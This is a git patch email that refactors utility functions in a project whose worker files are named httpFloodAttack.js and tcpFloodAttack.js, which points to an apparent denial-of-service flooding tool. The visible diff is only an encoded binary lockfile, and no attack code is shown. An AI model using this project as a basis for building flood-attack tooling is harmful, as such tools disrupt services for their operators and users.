From 60aab0bf2b84340dc3cdd1bf7d73024232938ca8 Mon Sep 17 00:00:00 2001 From: Sammwy Date: Sun, 26 Jan 2025 22:23:43 -0300 Subject: [PATCH] =?UTF-8?q?refactor:=20=F0=9F=A7=8A=20modularized=20some?= =?UTF-8?q?=20util=20functions?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- bun.lockb | Bin 220715 -> 228259 bytes package.json | 1 + server/utils/clientUtils.js | 112 ++++++++++++++++++++++++++++++ server/utils/mcUtils.js | 15 +--- server/workers/httpFloodAttack.js | 34 ++------- server/workers/tcpFloodAttack.js | 40 ++++------- 6 files changed, 134 insertions(+), 68 deletions(-) create mode 100644 server/utils/clientUtils.js diff --git a/bun.lockb b/bun.lockb index 381a6430f8a7c7cc82735f05c6454d18767adfcf..f2037a6cca0b5974523c5075e3a88dd3af36a36d 100644 GIT binary patch delta 40679 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 